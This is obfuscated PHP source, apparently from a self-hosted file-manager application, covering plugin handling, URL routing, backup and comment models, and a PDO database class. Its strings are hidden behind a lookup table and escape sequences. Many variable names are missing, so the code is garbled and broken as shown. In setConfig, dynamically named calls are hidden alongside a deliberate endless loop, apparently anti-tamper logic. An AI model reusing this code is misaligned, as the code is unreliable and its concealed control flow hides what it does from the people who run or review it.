checkSharePath($, $Ȕ = true) { $ߪ =& $_SERVER[秼]; if (!$this->isShare($)) { return !1; } $ = Action($ߪ[1265])->sharePathInfo($); if (!is_array($) || !isset($[$ߪ[87]])) { show_json(LNG($ߪ[1665]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $Ȕ); return $[$ߪ[87]]; } final function pluginCachePath($ȗ = '', $ = false) { $ =& $_SERVER[秼]; if ($ && is_array($this->fileInfo)) { $ȗ = kodIO::hashPath($this->fileInfo); } $ = rtrim(IO_PATH_SYSTEM_TEMP . $[1666] . $this->pluginName . $[8] . $ȗ, $[8]); $青 = IO::infoFullSimple($); $ = $青 && is_array($青) ? $青[$[87]] : $[12]; if (!$) { $ = IO::mkdir($); } return $; } final function pluginCacheFileSet($Ҍ, $ܵ = '') { $й =& $_SERVER[秼]; $٘ = IO::infoFullSimple($Ҍ); if (!$٘) { return IO::mkfile($Ҍ, $ܵ, REPEAT_REPLACE); } IO::setContent($٘[$й[87]], $ܵ); return $٘[$й[87]]; } final function pluginLocalFile($鿵 = '') { $Ō =& $_SERVER[秼]; $̳ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($̳)) { mk_dir($̳); } if (!$鿵) { return $̳; } $ = IO::info($鿵); $ꉕ = $Ō[1667] . KodIO::hashPath($) . $Ō[10] . $[$Ō[169]]; if (!checkExtSafe($ꉕ)) { $ꉕ = $ꉕ . $Ō[1300]; } $Ǜ = $̳ . $ꉕ; if (@file_exists($Ǜ)) { return $Ǜ; } return IO::copy($鿵, $̳, 0, $ꉕ); } final function appPackage() { $ =& $_SERVER[秼]; if ($this->packageData) { return $this->packageData; } $± = $this->parseFile($this->pluginPath . $[1668]); $this->parseLang($±); $ހ = json_decode_force($±); if (!$ހ) { return array(); } $ = Hook::trigger($[1669], $ހ); if ($ && is_array($)) { $ހ = $; } $this->packageData = $ހ; return $ހ; } public function packageInfoGet($_) { $ = $this->appPackage(); return array_get_value($, $_); } public function packageVersion() { return $this->packageInfoGet($_SERVER[秼][1670]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[秼][1671]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[秼][1672]); } public function echoJsAssign($Љ, $) { $this->echoJsAssignArr[$Љ] = $; } private function parseFile($҈) { $ =& $_SERVER[秼]; $ = file_get_contents_nossl($҈); $ͧ = array($[1673], $[1674], $[1675], $[1676], $[1677], $[1678], $[1679]); $ގ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[92]][$[1680]]); foreach ($this->echoJsAssignArr as $ُ => $謃͓) { $ͧ[] = $[1681] . $ُ . $[1682]; $ގ[] = is_array($謃͓) || is_object($謃͓) ? rawurlencode(json_encode($謃͓)) : $謃͓; } if (strstr($, $[1683])) { $ҺӦ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1683], $ҺӦ, $); } if (strstr($, $[1684])) { $ҺӦ = $ҺӦ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1684], $ҺӦ, $); } $ = str_replace($ͧ, $ގ, $); return $; } private function parseLang(&$) { $֮ =& $_SERVER[秼]; $ľ = $֮[1685]; if (!strstr($, $ľ)) { return; } preg_match_all($֮[1686], $, $ʇ); if (!is_array($ʇ) || count($ʇ) == 0 || !is_array($ʇ[0]) || count($ʇ[0]) == 0) { return; } $䜲 = array(); $ȕ = array(); foreach ($ʇ[0] as $굖) { $Ԯߛ = substr($굖, strlen($ľ), -4); $ݪ = LNG($Ԯߛ); $䜲[] = $굖; $ȕ[] = str_replace(array($֮[287], $֮[1165], $֮[419], $֮[121]), array($֮[53], $֮[53], $֮[12], $֮[1687]), $ݪ); } $ = str_replace($䜲, $ȕ, $); } private function parseConfig(&$굲) { $ꄃʴ =& $_SERVER[秼]; $ҥ = $ꄃʴ[1688]; if (!strstr($굲, $ҥ)) { return; } preg_match_all($ꄃʴ[1689], $굲, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $ = array(); $ك = array(); foreach ($[0] as $) { $ = substr($, strlen($ҥ), -2); $[] = $; $ك[] = _get($, $); } $굲 = str_replace($, $ك, $굲); } private function parsePackage(&$) { $ =& $_SERVER[秼]; $ = $[1690]; if (!strstr($, $)) { return; } preg_match_all($[1691], $, $Ύ); if (!is_array($Ύ) || count($Ύ) == 0 || !is_array($Ύ[0]) || count($Ύ[0]) == 0) { return; } $ = $this->appPackage(); $Э = array(); $Ӏ۰ = array(); foreach ($Ύ[0] as $ٵ) { $Ѓ = substr($ٵ, strlen($), -2); $Э[] = $ٵ; $Ӏ۰[] = _get($, $Ѓ); } $ = str_replace($Э, $Ӏ۰, $); } final function echoFile($, $Ƕ = false) { $ԙ =& $_SERVER[秼]; $呗 = $this->pluginPath . $; if (ACT == $ԙ[1692]) { echo $ԙ[1693] . $this->pluginName . $ԙ[8] . $ . $ԙ[1694]; if (!file_exists($呗)) { echo $ԙ[1695]; return; } } $똟 = $this->parseFile($呗); $this->parseLang($똟); $this->parseConfig($똟); $this->parsePackage($똟); if (is_array($Ƕ)) { $똟 = str_replace(array_keys($Ƕ), array_values($Ƕ), $똟); } echo $ԙ[287] . $똟; } private function checkVersion() { $ =& $_SERVER[秼]; $ = $this->appPackage(); $Ѳ = $this->getConfig(); if ($Ѳ[$[1696]] == $[$[1670]]) { return; } $this->regist(); $this->setConfig(array($[1696] => $[$[1670]])); } final function initLang() { $❥ =& $_SERVER[秼]; $ = $❥[1697]; $ὧ = $this->pluginPath . $❥[1698]; $ܑՎ = I18n::getType(); $⸉ = array(); if (file_exists($ὧ . $ܑՎ . $❥[927])) { $⸉ = (include $ὧ . $ܑՎ . $❥[927]); } else { if ($ܑՎ == $❥[1699] && !file_exists($ὧ . $ܑՎ . $❥[927]) && file_exists($ὧ . $❥[1700])) { $⸉ = (include $ὧ . $❥[1700]); } else { if (file_exists($ὧ . $ . $❥[927])) { $⸉ = (include $ὧ . $ . $❥[927]); } } } if (!is_array($⸉)) { return array(); } if (@count($⸉) > 0) { I18n::set($⸉); } return $⸉; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $Ż =& $_SERVER[秼]; if (!isset($_SERVER[$Ż[434]]) || !isset($_SERVER[$Ż[432]])) { $ȅ = $Ż[966]; $ = $Ż[435]; $ = $_SERVER[$Ż[436]] . $Ż[437]; $ = $($); $ބ = explode($Ż[287], $); if (count($ބ) < $Ż[702]) { $ʙ߁ = $Ż[439]; $ʙ߁(); } $ = $Ż[967]; $($_SERVER[$Ż[968]]); $ګ = 1; for ($ú = $ګ; $ú > 0; $ú++) { $ = json_encode($GLOBALS[$Ż[503]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($Ȕ) { } public function onGetConfig($Ğ) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($պ) { if ($պ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\154\x75\147\x69\156\101\165\x74\x68") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ϱܽ = $this->getConfig(); if (!$ϱܽ[$]) { return !1; } return ActionCall($_SERVER[秼][1701], $ϱܽ[$]); } public function url($Μ, $ƭ = '', $ = true) { $ㆆ =& $_SERVER[秼]; $⛐ = $this->getConfig(); $ = KOD_VERSION . $ㆆ[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $Ԍ = $ . $ㆆ[473] . $; if (substr($Μ, 0, 4) == $ㆆ[152] || substr($Μ, 0, 2) == $ㆆ[1420]) { $ = $Μ . $ㆆ[1702] . $Ԍ; } else { if ($ƭ == $ㆆ[12]) { $ = $this->pluginHost . $Μ . $ㆆ[1702] . $Ԍ; } else { if ($ƭ === $ㆆ[78]) { $ = $this->pluginHost . $Μ; } else { if ($ƭ == $ㆆ[1703]) { $ = STATIC_PATH . $Μ . $ㆆ[1702] . $; } else { if ($ƭ == $ㆆ[1704]) { $ = APP_HOST . $ㆆ[1705] . $Μ . $ㆆ[1702] . $; } else { if (isset($⛐[$ƭ])) { $ = $⛐[$ƭ] . $Μ . $ㆆ[1702] . $Ԍ; } } } } } } if (!$) { return $; } echo $; } public function link($ = false, $揺Ĕ = '') { $ =& $_SERVER[秼]; $屟 = $this->linkHas == !1; $this->linkHas = !0; if (!$) { $this->link($[1706], $[1704]); $this->link($[1707], $[1703]); $this->link($[1708], $[1703]); $this->link($[1709], $[1703]); $this->link($[1710], $[1703]); if ($屟) { Hook::trigger($[1711]); } return; } $ = $this->url($, $揺Ĕ, !1); if (substr($, -3) == $[1712]) { echo $[1713] . $ . $[1714] . $[287]; } else { if (substr($, -4) == $[1715]) { echo $[1716] . $ . $[1717] . $[287]; } } if ($屟) { Hook::trigger($[1711]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\156\171" => "\x5b\x5e\x2f\x5d\53", "\72\x6e\165\x6d" => "\133\x30\x2d\x39\135\x2b", "\72\x61\x6c\x6c" => "\x2e\x2a"); public static $errorCallback; public static function __callstatic($, $ڙ) { $礍 =& $_SERVER[秼]; if ($ == $礍[1718]) { $ = array_map($礍[1719], $ڙ[0]); $݆ = strpos($ڙ[1], $礍[8]) === 0 ? $ڙ[1] : $礍[8] . $ڙ[1]; $ā = $ڙ[2]; } else { $ = null; $݆ = strpos($ڙ[0], $礍[8]) === 0 ? $ڙ[0] : $礍[8] . $ڙ[0]; $ā = $ڙ[1]; } array_push(self::$maps, $); array_push(self::$routes, $݆); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $ā); } public static function error($瑮) { self::$errorCallback = $瑮; } public static function haltOnMatch($Ƥ = true) { self::$halts = $Ƥ; } public static function dispatch() { $ =& $_SERVER[秼]; $ۈ = parse_url($_SERVER[$[1720]], PHP_URL_PATH); $֦ = $_SERVER[$[164]]; $ = array_keys(static::$patterns); $ɾ = array_values(static::$patterns); $ҫퟸ = !1; self::$routes = preg_replace($[1370], $[8], self::$routes); if (in_array($ۈ, self::$routes)) { $˅ = array_keys(self::$routes, $ۈ); foreach ($˅ as $) { if (self::$methods[$] == $֦ || self::$methods[$] == $[1721] || in_array($֦, self::$maps[$])) { $ҫퟸ = !0; if (!is_object(self::$callbacks[$])) { $Ʈ = explode($[8], self::$callbacks[$]); $ƀ = end($Ʈ); $ = explode($[1302], $ƀ); $Æ = new $[0](); $Æ->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ę = 0; foreach (self::$routes as $) { if (strpos($, $[4]) !== !1) { $ = str_replace($, $ɾ, $); } if (preg_match($[1722] . $ . $[1723], $ۈ, $ڞ)) { if (self::$methods[$ę] == $֦ || self::$methods[$ę] == $[1721] || !empty(self::$maps[$ę]) && in_array($֦, self::$maps[$ę])) { $ҫퟸ = !0; array_shift($ڞ); if (!is_object(self::$callbacks[$ę])) { $Ʈ = explode($[8], self::$callbacks[$ę]); $ƀ = end($Ʈ); $ = explode($[1302], $ƀ); $Æ = new $[0](); if (!method_exists($Æ, $[1])) { echo $[1724]; } else { call_user_func_array(array($Æ, $[1]), $ڞ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ę], $ڞ); if (self::$halts) { return; } } } } $ę++; } } if ($ҫퟸ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ =& $_SERVER[秼]; header($_SERVER[$[1725]] . $[1726]); echo $[1727]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1720]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } goto Aȟ; c: class BackupModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\145\x6d\56\142\141\x63\153\165\x70\x4c\151\x73\164"; public $field = array("\x69\157", "\156\x61\155\x65", "\x73\x74\141\x74\x75\163", "\143\x6f\156\164\x65\x6e\x74", "\x6d\x61\x6e\x75\x61\154", "\x72\145\163\x75\x6c\164", "\164\151\155\145\106\162\157\x6d", "\x74\151\x6d\145\124\x6f"); public function config() { $ =& $_SERVER[秼]; Action($[2009])->taskInit(); $ = Model($[858])->get($[872]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); $this->parseContent($); unset($[$[1752]]); Model($[1751])->cacheClear(); $ = $[2010]; $٢鍰 = Model($[2011])->findByKey($[1770], $); if (!$٢鍰) { $٢鍰 = array(); } if (isset($٢鍰[$[206]])) { $٢鍰[$[206]] = json_decode($٢鍰[$[206]], !0); } if (isset($[$[206]])) { $٢鍰[$[206]][$[1755]] = $[$[206]]; unset($[$[206]]); } return array_merge($٢鍰, $); } public function listData($ = false, $˂ڛ = "\155\157\144\x69\x66\171\124\x69\x6d\x65", $ɻ = false) { $ԅ = parent::listData($, $˂ڛ, !0); if (!$ԅ) { return $ԅ; } if ($) { $ԅ = array($ԅ); } foreach ($ԅ as &$) { $this->parseContent($); } return $ ? $ԅ[0] : $ԅ; } public function parseContent(&$ŷ) { $λ =& $_SERVER[秼]; $ﮜĄ = _get($ŷ, $λ[171], $λ[91]); if (!in_array($ﮜĄ, array($λ[864], $λ[1218]))) { $ŷ[$λ[171]] = $ﮜĄ == $λ[91] ? $λ[1218] : $λ[864]; } } public function lastItem() { $Ͷ = $this->listData(); return !empty($Ͷ[0]) ? $Ͷ[0] : null; } public function kill($܂) { $Ÿ =& $_SERVER[秼]; $ͭ = $this->listData($܂); if (!$ͭ || empty($ͭ[$Ÿ[32]])) { return !0; } Task::kill($Ÿ[871]); Task::kill($Ÿ[889]); Task::kill($Ÿ[898]); $؉ = $ͭ[$Ÿ[32]]; $츑 = TEMP_FILES . $Ÿ[867] . $؉ . $Ÿ[8]; IO::remove($츑, !1); return $this->remove($܂); } public function remove($ȷ) { $ = $this->listData($ȷ); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($ߋ) { parent::remove($ߋ[$_SERVER[秼][486]]); $ = $this->backupPath($ߋ); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[秼]; $ = $[$[32]]; $ = Model($[858])->get($[859]); $ = substr(md5($[860] . $ . $), 0, 8); return "\x7b\x69\x6f\72{$[$[840]]}\175\57\x64\141\164\141\x62\x61\163\145\57\x62\x61\x63\x6b\x75\160\x2f" . $ . $[11] . $; } public function start() { $ȧɅ =& $_SERVER[秼]; if ($GLOBALS[$ȧɅ[6]][$ȧɅ[92]][$ȧɅ[2012]] != $ȧɅ[91]) { return !0; } $ڲ = $this->config(); if (!$ڲ || $ڲ[$ȧɅ[1752]] != $ȧɅ[91]) { return !1; } if ($ڲ[$ȧɅ[171]] == $ȧɅ[864]) { $߀ǫ = Model($ȧɅ[858])->get($ȧɅ[1333]); if ($߀ǫ == $ȧɅ[1334]) { $ڲ[$ȧɅ[171]] = $ȧɅ[1218]; } } $ư = $this->process(); foreach ($ư as $֘Ȝ) { if ($֘Ȝ) { return Task::restart($֘Ȝ[$ȧɅ[486]]); } } $߱ = new Backup(); $ = $߱->db(); if ($) { $ = $߱->dbFile(); if ($ && $ڲ[$ȧɅ[171]] == $ȧɅ[864]) { $ = $߱->file(); } } Backup::set(array($ȧɅ[838] => 1, $ȧɅ[849] => time())); return !0; } public function process() { $ =& $_SERVER[秼]; $ = array($[845] => Task::get($[871]), $[850] => Task::get($[889]), $[232] => Task::get($[898])); $ݪ = !1; foreach ($ as &$) { if ($ݪ) { $ = !1; continue; } if ($) { $̭ = intval(_get($, $[1788], 0)); if (time() - $̭ > 7200) { Task::kill($[$[486]]); $ݪ = !0; $ = !1; } } } return $; } public function restore() { $מ =& $_SERVER[秼]; ActionCall($מ[1146], !0, 1); ActionCall($מ[1146], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\x63\x6f\x6d\x6d\145\156\x74"; protected $tableMeta = array("\x74\141\x62\154\x65\116\141\155\x65" => "\x63\157\155\x6d\x65\156\x74\x5f\155\145\x74\141", "\x6d\x65\164\x61\x46\x69\x65\x6c\x64" => "\x63\157\x6d\155\x65\x6e\x74\111\104"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[秼]; if ($[$[2013]]) { $߄ = $this->where(array($[2014] => $[$[2013]]))->find(); if (!$߄ || $߄[$[190]] != $[$[190]] || $߄[$[580]] != $[$[580]]) { return !1; } $this->where(array($[2014] => $[$[2013]]))->setAdd($[2015], 1); } $[$[2016]] = 0; $[$[2015]] = 0; $[$[838]] = 1; return $this->add($); } public function commentCount($, $ޓ, $Ȳ = false) { $ =& $_SERVER[秼]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[580], $[2017] => $[576]); $ = array($[580] => array($[7], $), $[190] => $ޓ); if ($Ȳ) { $[$[1783]] = $Ȳ; } $爥 = $this->field($)->where($)->group($[580])->select(); return array_to_keyvalue($爥, $[580], $[576]); } public function starTarget($浡竱, $) { $ =& $_SERVER[秼]; $ﵬ = $浡竱 + self::TYPE_STAR_OFFSET; $ֆ = array($[1783] => USER_ID, $[190] => $ﵬ, $[580] => $); $ = $this->where($ֆ)->find(); if ($) { return $this->where(array($[486] => $[$[486]]))->delete(); } $ら = array($[2013] => 0, $[1783] => USER_ID, $[838] => 1, $[171] => $[12], $[190] => $ﵬ, $[580] => $, $[2016] => 0, $[2015] => 0); return $this->add($ら); } public function starTargetCount($豿, $ɂ) { $ =& $_SERVER[秼]; $ԺՖ = $ɂ + self::TYPE_STAR_OFFSET; $У酰 = $this->commentCount($豿, $ԺՖ); $÷ = $this->commentCount($豿, $ԺՖ, USER_ID); return array($[2018] => $У酰, $[2019] => $÷); } public function starTargetUserList($겓, $) { $ =& $_SERVER[秼]; $˷ = $겓 + self::TYPE_STAR_OFFSET; $Ӕď = array($[580] => $, $[190] => $˷); $݆ = $this->where($Ӕď)->count(); $ҭϞ = array($[334] => $݆, $[2020] => array()); if (!$݆) { return $ҭϞ; } $ٔ = $this->field($[1783])->where($Ӕď)->limit(500)->select(); $ٔ = array_to_keyvalue($ٔ, $[12], $[1783]); $ҭϞ[$[2020]] = Model($[588])->userListInfo($ٔ); return $ҭϞ; } public function prasiseUserList($ۊ) { $Ӗ =& $_SERVER[秼]; $̔ = array($Ӗ[2021] => $ۊ); $ӳݸ = $this->where($̔)->find(); $Ā = _get($ӳݸ, $Ӗ[2016], 0); $ކ = array($Ӗ[334] => $Ā, $Ӗ[2020] => array()); if (!$Ā) { return $ކ; } $ = Model($Ӗ[2022])->field($Ӗ[1783])->where($̔)->limit(500)->select(); $ = array_to_keyvalue($, $Ӗ[12], $Ӗ[1783]); $ކ[$Ӗ[2020]] = Model($Ӗ[588])->userListInfo($); return $ކ; } public function remove($Ǣց) { $ =& $_SERVER[秼]; $Ɇ咼 = array($[2014] => $Ǣց); $ۖ = $this->where($Ɇ咼)->find(); if ($ۖ[$[2013]]) { $this->where(array($[2014] => $ۖ[$[2013]]))->setAdd($[2015], -1); } return $this->where($Ɇ咼)->delete(); } public function edit($, $ஞ) { $В =& $_SERVER[秼]; $Ğ = array($В[2014] => $); return $this->where($Ğ)->save(array($В[2023] => $ஞ)); } public function prasise($۹) { $⎐ =& $_SERVER[秼]; $ = Model($⎐[2024]); $ۺ = array($⎐[2014] => $۹, $⎐[1774] => USER_ID); $ޣ = $->where($ۺ)->find(); if (!$ޣ) { $->add($ۺ); $̍ = $this->where(array($⎐[2014] => $۹))->setAdd($⎐[2016], 1); } else { $->where($ۺ)->delete(); $̍ = $this->where(array($⎐[2014] => $۹))->setAdd($⎐[2016], -1); } return $̍; } public function targetInfo($ط, $Ҥ) { $ѽ =& $_SERVER[秼]; $ = array($ѽ[662] => $ط, $ѽ[663] => $Ҥ); $䔤 = $this->where($)->count(); $՞ = "\122\x49\107\x48\124\x20\x4a\x4f\x49\116\x20{$this->tablePrefix}\143\x6f\155\x6d\145\156\164\137\160\162\141\151\163\145\x20\x73\164\141\x72\x20\x6f\156\40\x63\157\x6d\155\145\156\164\x2e\x63\157\x6d\155\145\156\164\x49\104\x20\75\40\x73\x74\x61\x72\56\143\x6f\155\155\x65\156\164\x49\x44"; $ = $this->alias($ѽ[431])->where($)->join($՞, $ѽ[2025])->count(); $ފ = array($ѽ[2026] => $䔤, $ѽ[2027] => $); return $ފ; } public function listData($؋) { $ =& $_SERVER[秼]; if (isset($؋[$[2028]])) { if ($؋[$[2028]]) { $؋[$[2021]] = array($[1100], intval($؋[$[2028]])); } unset($؋[$[2028]]); } if (isset($؋[$[2029]])) { if ($؋[$[2029]]) { $؋[$[2021]] = array($[1097], intval($؋[$[2029]])); } unset($؋[$[2029]]); } return $this->_listData($؋); } private function _listData($Ö) { $ =& $_SERVER[秼]; $ = $this->where($Ö)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[456]]); $this->_listAppendUser($[$[456]]); $this->_listAppendMeta($[$[456]]); return $; } private function _makeOrder() { $ =& $_SERVER[秼]; $Ö = array($[2016], $[2015], $[233]); $ɩ = Input::get($[541], $[7], $[508], $Ö); $ = Input::get($[542], $[7], $[1776], array($[2030], $[537])); $ = $ɩ . $[53] . $; return $this->order($); } private function _listAppendParent(&$袬) { $쁱Է =& $_SERVER[秼]; $Ⱥ = array_unique(array_to_keyvalue($袬, $쁱Է[12], $쁱Է[2013])); $Ⱥ = array_remove_value($Ⱥ, $쁱Է[230]); if (!$Ⱥ) { return; } $ǽͤ = $this->where(array($쁱Է[2014] => array($쁱Է[7], $Ⱥ)))->select(); $ǽͤ = array_to_keyvalue($ǽͤ, $쁱Է[2021]); foreach ($袬 as &$Ղ¦) { if (isset($ǽͤ[$Ղ¦[$쁱Է[2013]]])) { $Ղ¦[$쁱Է[2031]] = $ǽͤ[$Ղ¦[$쁱Է[2013]]]; } } unset($Ղ¦); } private function _listAppendUser(&$ޢ) { $ɳ =& $_SERVER[秼]; $η = array_unique(array_to_keyvalue($ޢ, $ɳ[12], $ɳ[1783])); $η = array_remove_value($η, $ɳ[230]); if (count($η) == 0) { return; } foreach ($ޢ as $ԯ) { if (isset($ԯ[$ɳ[2031]])) { $η[] = $ԯ[$ɳ[2031]][$ɳ[1783]]; } } $Ǯ賎 = Model($ɳ[608])->userListInfo($η); foreach ($ޢ as &$ԯ) { $ԯ[$ɳ[676]] = $Ǯ賎[$ԯ[$ɳ[1783]]]; if (isset($ԯ[$ɳ[2031]])) { $ԯ[$ɳ[2031]][$ɳ[676]] = $Ǯ賎[$ԯ[$ɳ[2031]][$ɳ[1783]]]; } } unset($ԯ); } private function _listAppendMeta(&$Н) { $ =& $_SERVER[秼]; $ɱ = array_unique(array_to_keyvalue($Н, $[12], $[2021])); $ɱ = array_remove_value($ɱ, $[230]); if (!$ɱ) { return; } foreach ($Н as $ޠ) { if (isset($ޠ[$[2031]])) { $ɱ[] = $ޠ[$[2031]][$[2021]]; } } $섔䇦 = $this->metaList($ɱ); if (!$섔䇦) { return !1; } foreach ($Н as &$ޠ) { $ޠ[$[550]] = $섔䇦[$ޠ[$[2021]]]; if (isset($ޠ[$[2031]])) { $ޠ[$[2031]][$[550]] = $섔䇦[$ޠ[$[2031]][$[2021]]]; } } unset($ޠ); } private function metaList($֓) { $ =& $_SERVER[秼]; if (!$֓) { return array(); } $ό = array($[2021] => array($[7], $֓)); $સ = Model($[2032])->where($ό)->select(); $સ = array_to_keyvalue_group($સ, $[2021]); foreach ($સ as $ => $ܣ) { $븁 = array(); foreach ($ܣ as $Ɋΰ) { $븁[$Ɋΰ[$[97]]] = $Ɋΰ[$[461]]; } $સ[$] = $븁; } return $સ ? $સ : array(); } public function removeTarget($, $) { $ŰǾ =& $_SERVER[秼]; if (!$) { return !0; } $ = is_array($) ? $ : array($); $בɘ = array($ŰǾ[190] => $, $ŰǾ[580] => array($ŰǾ[7], $)); $Ӱɖ = $this->field($ŰǾ[2021])->where($בɘ)->select(); $鋄 = array_to_keyvalue($Ӱɖ, $ŰǾ[12], $ŰǾ[2021]); if (!$鋄) { return !0; } $בɘ = array($ŰǾ[2021] => array($ŰǾ[7], $鋄)); $this->where($בɘ)->delete(); Model($ŰǾ[2024])->where($בɘ)->delete(); Model($ŰǾ[2033])->where($בɘ)->delete(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x66\151\x6c\145\x5f\x63\157\156\164\145\156\x74\x73"; protected $dataAuto = array(array("\143\x72\x65\141\x74\145\124\151\155\145", "\x74\151\155\145", "\151\156\x73\145\x72\164", "\146\x75\x6e\x63\x74\x69\157\156")); } goto d; B: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ԥ = '') { $ =& $_SERVER[秼]; if (!class_exists($[1000])) { think_exception(think_lang($[14]) . $[1001]); } if (!empty($ԥ)) { $this->config = $ԥ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ݞ = '', $Ծ = 0) { $ =& $_SERVER[秼]; if (!isset($this->linkID[$Ծ])) { if (empty($ݞ)) { $ݞ = $this->config; } $㎝ = !empty($ݞ[$[17]][$[18]]) ? $ݞ[$[17]][$[18]] : $this->pconnect; if ($㎝) { $ݞ[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$Ծ] = new PDO($ݞ[$[1002]], $ݞ[$[974]], $ݞ[$[975]], $ݞ[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($ݞ[$[1002]]); if (in_array($this->dbType, array($[1003], $[1004], $[1005], $[1006]))) { think_exception($[1007] . $this->dbType . $[1008] . $this->dbType . $[1009]); } if (!$this->linkID[$Ծ]) { think_exception($[1010]); } try { $this->linkID[$Ծ]->exec($[1011] . think_config($[977])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$Ծ]; } public function free() { $this->PDOStatement = null; } public function query($̙, $Ȏ = array()) { $ݽ =& $_SERVER[秼]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $̙; if (!empty($Ȏ)) { $this->queryStr .= $ݽ[1012] . print_r($Ȏ, !0) . $ݽ[1013]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($ݽ[23], 1); think_status($ݽ[24]); $this->PDOStatement = $this->_linkID->prepare($̙); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $Ȉۏ = $this->PDOStatement->execute($Ȏ); $this->debug(); if (!1 === $Ȉۏ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($Ɔ, $Ʌ = array()) { $՞ =& $_SERVER[秼]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $Ɔ; if (!empty($Ʌ)) { $this->queryStr .= $՞[1012] . print_r($Ʌ, !0) . $՞[1013]; } $Ǩ = !1; if ($this->dbType == $՞[1006]) { if (preg_match($՞[1014], $this->queryStr, $Ĝ)) { $this->table = think_config($՞[1015]) . str_ireplace(think_config($՞[1016]), $՞[465], $Ĝ[2]); $Ǩ = (bool) $this->query($՞[1017] . strtoupper($this->table) . $՞[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($՞[25], 1); think_status($՞[24]); $this->PDOStatement = $this->_linkID->prepare($Ɔ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($Ʌ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($Ǩ || preg_match($՞[1018], $Ɔ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $롺 = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($롺); return $롺; } public function getFields($н) { $ =& $_SERVER[秼]; $this->initConnect(!0); if (think_config($[1019])) { $Ɲ = str_replace($[1020], $н, think_config($[1019])); } else { switch ($this->dbType) { case $[1003]: case $[1021]: $Ɲ = 